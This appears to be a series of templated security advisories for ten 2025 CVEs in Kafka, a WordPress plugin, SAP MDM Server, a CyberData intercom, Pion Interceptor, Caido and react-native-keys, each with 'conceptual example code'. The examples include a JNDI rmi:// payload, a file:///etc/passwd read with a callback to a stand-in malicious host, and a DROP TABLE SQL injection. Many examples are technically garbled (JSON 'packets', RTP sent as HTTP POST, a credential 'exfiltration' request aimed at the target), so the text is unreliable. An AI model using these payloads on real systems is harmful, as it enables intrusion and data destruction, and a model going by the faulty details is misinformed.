Author: Ameeba

Overview

This report presents a critical vulnerability, CVE-2025-27819, that affects the Kafka Connect API and Apache Kafka brokers. This vulnerability allows for Remote Code Execution (RCE) and Denial of Service attacks, posing a severe threat to system integrity and data security. It is of paramount importance due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27819
Severity: High, with a CVSS score of 7.5
Attack Vector: Network
Privileges Required: High (AlterConfigs permission on the cluster resource)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Kafka Connect API | All versions prior to 3.4.0
Apache Kafka | All versions prior to 3.4.0

How the Exploit Works

The vulnerability resides in the SASL JAAS JndiLoginModule configuration of both the Kafka Connect API and Apache Kafka brokers. An attacker with AlterConfigs permission on the cluster resource can exploit this vulnerability by sending a specially crafted request to connect to the Kafka cluster. Successful exploitation could lead to remote code execution or denial of service attack, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

kafka-console-producer --broker-list target.kafka.broker:9092 --topic test --producer.config=/path/to/alterConfigs_permission_config
# After gaining access
{ "type": "JNDI", "value": "rmi://malicious.server/malicious" }

In this example, the attacker uses the `kafka-console-producer` command with the `–producer.config` option pointing to a configuration file with AlterConfigs permission to connect to the Kafka cluster. Once connected, they send a malicious payload that exploits the JndiLoginModule vulnerability.

Mitigation Guidance

It is recommended to apply the vendor patch immediately. For Apache Kafka, upgrade to version 3.4.0 or later where the problematic login modules usage in SASL JAAS configuration is disabled. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.

Overview

The vulnerability, identified as CVE-2025-27817, is a severe security flaw found in Apache Kafka Client that potentially allows arbitrary file read and Server Side Request Forgery (SSRF). If exploited, this vulnerability could lead to system compromise or data leakage. It is especially significant for SaaS products and environments that utilize Apache Kafka Clients where configuration data can be manipulated by untrusted parties.

Vulnerability Summary

CVE ID: CVE-2025-27817
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache Kafka Client | Prior to 3.9.1/4.0.0

How the Exploit Works

An attacker can exploit this vulnerability by manipulating the SASL/OAUTHBEARER connection configuration data, specifically the “sasl.oauthbearer.token.endpoint.url” and “sasl.oauthbearer.jwks.endpoint.url”. This allows the attacker to read arbitrary files, return their content in the error log, or make requests to unintended locations. In certain applications, such as Apache Kafka Connect, this flaw can escalate from REST API access to filesystem/environment/URL access.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /api/config HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.oauthbearer.jwks.endpoint.url": "http://malicious.example.com"
}

Here, the attacker is specifying a local file (in this case “/etc/passwd”) in the “sasl.oauthbearer.token.endpoint.url” parameter. This results in the contents of the file being read and returned in the error log. Furthermore, the attacker is using the “sasl.oauthbearer.jwks.endpoint.url” parameter to send requests to a malicious server.

Mitigation

Users are advised to upgrade to Apache Kafka Client 3.9.1/4.0.0 or newer and set the allowed urls in the SASL JAAS configuration explicitly through system property (“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”). Alternatively, the deployment of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy.

Overview

CVE-2025-4840 is a critical vulnerability discovered in the inprosysmedia-likes-dislikes-post WordPress plugin. This flaw allows unauthenticated users to perform SQL injection attacks, potentially compromising systems or leading to data leakage. This vulnerability is of high concern to WordPress site owners, especially those using the affected plugin, due to its high potential for misuse.

Vulnerability Summary

CVE ID: CVE-2025-4840
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

inprosysmedia-likes-dislikes-post WordPress Plugin | up to and including 1.0.0

How the Exploit Works

The vulnerability stems from the affected plugin’s failure to properly sanitize and escape a parameter before using it in an SQL statement. This occurs via an AJAX action that is available to unauthenticated users. An attacker can exploit this vulnerability by injecting malicious SQL code into the parameter, which can lead to unauthorized viewing, modification, or deletion of data in the database.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability through a malicious HTTP POST request:

POST /wp-admin/admin-ajax.php?action=inprosysmedia_likes_dislikes HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
payload=...'; DROP TABLE users; --

In this example, the attacker sends a malicious SQL statement (`DROP TABLE users; –`) as part of the payload, which if executed, would delete the ‘users’ table from the database.

Mitigation Guidance

To mitigate this vulnerability, affected users should apply the vendor’s patch as soon as it becomes available. As a temporary solution, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and prevent SQL injection attacks.

Overview

The CVE-2025-42995 relates to a critical vulnerability in the SAP MDM Server’s Read function. This vulnerability could allow an attacker to disrupt the server process, leading to potential system compromise or data leakage. As SAP systems are utilized by many organizations around the globe, this vulnerability represents a significant risk that needs immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-42995
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Disruption of server process, potential system compromise, and possible data leakage

Affected Products

Product | Affected Versions

SAP MDM Server | All versions prior to the latest patch

How the Exploit Works

The exploit works by the attacker sending specially crafted packets to the SAP MDM server. These packets trigger a memory read access violation in the server process. This violation forces the server process to fail and exit unexpectedly, potentially leading to system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /SAPMDMServerRead HTTP/1.1
Host: targetserver.com
Content-Type: application/json
{ "specially_crafted_packet": "trigger memory read access violation" }

In this example, the attacker sends a POST request with a specially crafted payload designed to trigger the memory read access violation. Once the server processes this request, it fails and exits unexpectedly, creating potential for system compromise or data leakage.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary protection by detecting and blocking attempts to exploit this vulnerability.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a new vulnerability, CVE-2025-42994, which affects the SAP Master Data Management (MDM) Server. This vulnerability pertains to the ReadString function and can be exploited by an attacker to trigger a memory read access violation in the server process. This vulnerability is significant due to its potential to cause unexpected system shutdowns and interrupt the availability of the application.

Vulnerability Summary

CVE ID: CVE-2025-42994
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

SAP MDM Server | All current versions

How the Exploit Works

The vulnerability is present in the ReadString function of the SAP MDM Server. An attacker can craft special packets that, when processed by the server, trigger a memory read access violation. This violation leads to an unexpected exit of the server process, causing a service disruption and potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /ReadString HTTP/1.1
Host: vulnerable-sap-mdm-server.com
Content-Type: application/json
{
"specially_crafted_packet": "..."
}

In this example, the “specially_crafted_packet” would contain data designed to trigger the memory read access violation. When the server attempts to process this packet, it could fail and exit unexpectedly.
To mitigate this vulnerability, apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

This report provides a detailed analysis of a critical vulnerability identified in the CyberData 011209 Intercom. The vulnerability, tracked as CVE-2025-30183, can lead to a potential system compromise or data leakage due to improper storage and protection of web server admin credentials. The severity of the issue and its widespread impact makes understanding and addressing this vulnerability crucial for all CyberData 011209 Intercom users.

Vulnerability Summary

CVE ID: CVE-2025-30183
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to web server admin credentials, potential system compromise, or data leakage.

Affected Products

Product | Affected Versions

CyberData 011209 Intercom | All versions

How the Exploit Works

The CyberData 011209 Intercom does not adequately protect or store web server admin credentials. This flaw can be exploited by an attacker who can intercept the unencrypted credentials over the network. Once obtained, these credentials can be used to gain unauthorized access to the system, leading to potential system compromise or data leakage.

Conceptual Example Code

An attacker might exploit the vulnerability by intercepting the network traffic to capture the admin credentials. This could be an example of an HTTP request that could be used to send the captured data to an attacker-controlled server:

GET /retrieve_credentials HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "stolen_credentials": "admin_username:admin_password" }

Mitigation Measures

Users are advised to apply the vendor-provided patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to prevent unauthorized access to the web server admin credentials. Regular monitoring and analysis of network traffic for any abnormal activities can also aid in early detection of any exploitation attempts.

Overview

CVE-2025-26468 unveils a critical vulnerability within CyberData’s 011209 Intercom system. This flaw potentially allows an unauthenticated user to gain unauthorized access and induce a denial-of-service, effectively disrupting the system. This vulnerability is of particular concern to organizations using this product, as it can lead to system compromise or data leakage if exploited.

Vulnerability Summary

CVE ID: CVE-2025-26468
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System disruption and potential data leakage

Affected Products

Product | Affected Versions

CyberData Intercom | 011209

How the Exploit Works

The exploit works by leveraging the exposed features of the CyberData Intercom system. An attacker can send specially crafted network packets to the system, tricking it into granting unauthorized access to the attacker. This access can then be used to induce a denial-of-service condition, leading to system disruption and possible data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

GET /exposed/feature HTTP/1.1
Host: target.example.com

This simple HTTP GET request could potentially exploit the vulnerability, if the “/exposed/feature” is one of the features that the CyberData Intercom system mistakenly exposes, allowing unauthenticated access.

Mitigation

Users are advised to apply the vendor patch as soon as it is available. Until then, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These tools can be configured to monitor, detect, and block malicious traffic attempting to exploit this vulnerability.

Overview

This report examines the CVE-2025-49140 vulnerability found within the Pion Interceptor framework, specifically within its RTP/RTCP communication software. Developers who use versions v0.1.36 through v0.1.38 of the Pion Interceptor are at risk. The vulnerability can be exploited to cause system panic or even data leakage, making it a serious threat that demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-49140
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Pion Interceptor | v0.1.36 to v0.1.38

How the Exploit Works

The vulnerability lies within the RTP packet factory of the Pion Interceptor framework. Malicious actors can exploit this vulnerability by sending specially crafted RTP packets that trigger a panic within the Pion-based SFU system. This can lead to system compromise or data leakage. The problem arises when the P-bit is set but the padLen is zero or larger than the remaining payload, causing the system to panic.

Conceptual Example Code

In this conceptual example, the malicious actor sends a specially crafted RTP packet to the vulnerable system:

POST /vulnerable/RTP-packet-factory HTTP/1.1
Host: target.example.com
Content-Type: application/rtp
{ "P-bit": "set", "padLen": "larger than payload" }

To mitigate this vulnerability, users should upgrade to v0.1.39 or later versions of Pion Interceptor, which validates `padLen > 0 && padLen <= payloadLength` and returns an error on overflow, avoiding panic. In the event that upgrading is not possible, users can apply the patch from the pull request manually or drop packets whose P-bit is set but whose padLen is zero or larger than the remaining payload. As a temporary mitigation, users can also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS).

Overview

A severe vulnerability has been identified in the Caido web security auditing toolkit. This vulnerability, tracked as CVE-2025-49004, affects Caido versions prior to 0.48.0 and can potentially lead to system compromise or data leakage. It is crucial for system administrators and cybersecurity professionals to be aware of the vulnerability, its effects, and the mitigation strategies available.

Vulnerability Summary

CVE ID: CVE-2025-49004
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Caido | Prior to 0.48.0

How the Exploit Works

The vulnerability arises from the lack of protection against DNS rebinding in Caido. An attacker can load Caido on a domain they control, which allows a malicious website to hijack the authentication flow of Caido and achieve code execution. During the initial setup, a malicious website loaded in the browser can hijack the locally running Caido instance and achieve remote command execution. Even if the Caido instance is already configured, an attacker can initiate the authentication flow by performing DNS rebinding.

Conceptual Example Code

Given the nature of the vulnerability, an example of exploiting it would involve an attacker setting up a malicious website and forcing the victim to visit it. This could be done through phishing tactics or other social engineering methods.

GET /malicious_site HTTP/1.1
Host: attacker_controlled_domain.com
User-Agent: victim_browser

This request would force the victim’s browser to connect to the attacker-controlled domain, which then initiates the DNS rebinding attack, leading to remote command execution on the victim’s system through the Caido toolkit.

Mitigation Guidance

The primary mitigation strategy is to upgrade to Caido version 0.48.0 or later, which includes a patch for this vulnerability. As a temporary measure, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help detect and prevent potential exploitation of this vulnerability.

Overview

The vulnerability, identified as CVE-2025-45001, affects react-native-keys version 0.7.11, a widely used library in the native development space. This vulnerability can lead to sensitive information disclosure, potentially compromising the system or leading to data leakage. Given the popularity of this library, the impact is widespread and significant.

Vulnerability Summary

CVE ID: CVE-2025-45001
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Sensitive data disclosure leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

react-native-keys | 0.7.11

How the Exploit Works

The vulnerability arises from the react-native-keys library storing encryption cipher and Base64 chunks in plaintext within the compiled native binary. Attackers can exploit this vulnerability by using basic static analysis tools to extract these secrets, achieving unauthorized access to sensitive information.

Conceptual Example Code

The following is a conceptual example showcasing how an attacker might exploit this vulnerability. This pseudocode represents a static analysis tool extracting sensitive data:

def extract_secrets(binary_file):
with open(binary_file, 'rb') as file:
data = file.read()
# Find the encryption cipher and Base64 chunks in the binary data
secrets = static_analysis_tool(data)
return secrets

In this example, the static_analysis_tool function represents the action of an actual static analysis tool that an attacker might use to extract sensitive data from the binary file.
Please note, this is a conceptual example and should not be used for actual exploit development.

Mitigation Guidance

It’s recommended to apply the vendor patch as soon as it’s available to address this vulnerability. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure, helping to monitor and potentially block malicious activities. Regularly updating and patching software is key to maintaining a secure environment.